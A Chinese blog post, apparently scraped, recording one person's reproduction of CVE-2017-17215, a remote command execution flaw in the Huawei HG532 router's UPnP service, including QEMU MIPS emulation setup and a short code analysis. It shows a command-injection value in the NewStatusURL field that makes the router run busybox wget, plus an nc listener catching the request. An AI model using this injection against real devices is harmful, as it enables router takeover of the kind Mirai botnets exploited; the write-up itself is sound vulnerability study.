經過CVE-2017-17215學習路由器漏洞分析,從入坑到放棄

1.基本信息:

2017/11/27,Check Point 軟件技術部門報告了一個華爲 HG532 產品的遠程命令執行漏洞(CVE-2017-17215),Mirai的升級版變種中已經使用該漏洞。看起來是個很簡單的漏洞了,書上得來終覺淺,須知此事要躬行,復現和分析的過程當中遇到不少坑,寫文記錄一下詳細步驟。linux

華爲已經發了漏洞公告,固件已經升級到HG532eV100R001C02B017_upgrade_main.bin。從論壇裏找到了帶漏洞版本件,HG532eV100R001C02B015_upgrade_main.bin。ubuntu

分析環境是ubuntu 16.04.網絡

先用binwalk 解壓一下:架構

經過CVE-2017-17215學習路由器漏洞分析

根據 Check Point 的報告,漏洞點位於 UPnP 服務中,file命令看一下,能夠看到upnp應該是跑在MIPS 32 位 大端架構系統app

經過CVE-2017-17215學習路由器漏洞分析

2.配置復現環境:

安裝 qemu:ssh

 

sudo apt-get install qemu 工具

sudo apt-get install qemu-user-static學習

sudo apt-get install qemu-systemurl

 

安裝網絡配置工具:spa

apt-get install bridge-utils uml-utilities

修改 ubuntu主機網絡配置,將ubuntu主機系統中的網絡接口配置文件 /etc/network/interfaces 修改成以下內容:

經過CVE-2017-17215學習路由器漏洞分析

建立QEMU的網絡接口啓動腳本(/etc/qemu-ifup)並保存爲以下內容:

經過CVE-2017-17215學習路由器漏洞分析

賦予文件/etc/qemu-ifup 可執行權限:

sudo chmod a+x /etc/qemu-ifup 

重啓網絡使全部的配置生效:

sudo /etc/init.d/networking restart

關閉ens33,啓動橋連網絡br0

 

sudo ifdown eth0  

sudo ifup br0

 

https://people.debian.org/~aurel32/qemu/mips/下載對應的debian mips qemu鏡像

經過CVE-2017-17215學習路由器漏洞分析

其餘的帖子裏有各類下載qemu鏡像的地址,試了幾個下載都很差用,各類坑

我下載的是debian_squeeze_mips_standard.qcow2和vmlinux-2.6.32-5-4kc-malta。

啓動qemu運行剛鏡像:

sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:16:3e:00:00:01 -net tap

好的,假如一切順利,能夠看到一個qemu虛擬機,用root/root登陸進去:

經過CVE-2017-17215學習路由器漏洞分析

發現網絡不通,ifconfig -a 看一下發現網絡接口爲eth1:

經過CVE-2017-17215學習路由器漏洞分析

將nano /etc/network/interfaces 文件中的eth0改成eth1:

經過CVE-2017-17215學習路由器漏洞分析

再用ifup eth1  將eth1啓起來,運氣好的話此時網絡已經好了。

直接操做虛擬機顯然比較麻煩,在ubuntu上搞個SSH 連進來,ssh root@虛擬機ip

將以前解壓的固件包拷貝到虛擬機裏面:

scp -r ./squashfs-root  root@虛擬機ip:/root/

完成搭建路由器固件運行的環境。

3.復現漏洞:

第一個問題是怎麼讓路由器裏的服務啓起來,咱們也不知道是哪一個文件會去處理80端口過來的請求,先看下checkpoint報告裏的payload

 

經過CVE-2017-17215學習路由器漏洞分析

 

在固件文件夾下搜一下 ctrlt 和 DeviceUpgrade_1,並無文件名含有這2個詞語,再搜下包含這2個詞語的文件:

經過CVE-2017-17215學習路由器漏洞分析

找到固件所在的位置,想直接執行下upnp這個文件,報錯,缺乏相應的so文件形成。

圖片.png

chroot /root/squashfs-root /bin/sh來切換根目錄到路由器文件系統,執行成功:

經過CVE-2017-17215學習路由器漏洞分析 
但是發包過去仍然失敗,應該是並無啓動監聽服務

那找下端口37215

經過CVE-2017-17215學習路由器漏洞分析

端口號只出如今mic文件內,看下文件內容:

經過CVE-2017-17215學習路由器漏洞分析

看字符串像是一個跟網絡服務相關的文件,試下運行一下:

經過CVE-2017-17215學習路由器漏洞分析

看起來像是對了,

ubuntu上nc -vlp 80 監聽一下端口,跑一下exp,80端口收到路由器發來的wget 請求包。

經過CVE-2017-17215學習路由器漏洞分析

4.簡單分析:

分析一下upnp中的關鍵代碼:

經過CVE-2017-17215學習路由器漏洞分析

 

根據上面payload圖,newstatusurl這個節點值爲 <NewStatusURL>$(busybox wget -g xxxx ;xx;xx)</NewStatusURL>

snprintf(a0,0x400,"upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -",a3)

其中a0是拷貝的源字符串的地址,同時a0又是system 調用的第一個參數。因此最後會執行

system(a0)

若是看完整篇文章想上手試一下路由器漏洞的話,不要忘了當初你是爲何放棄的.

相關文章
相關標籤/搜索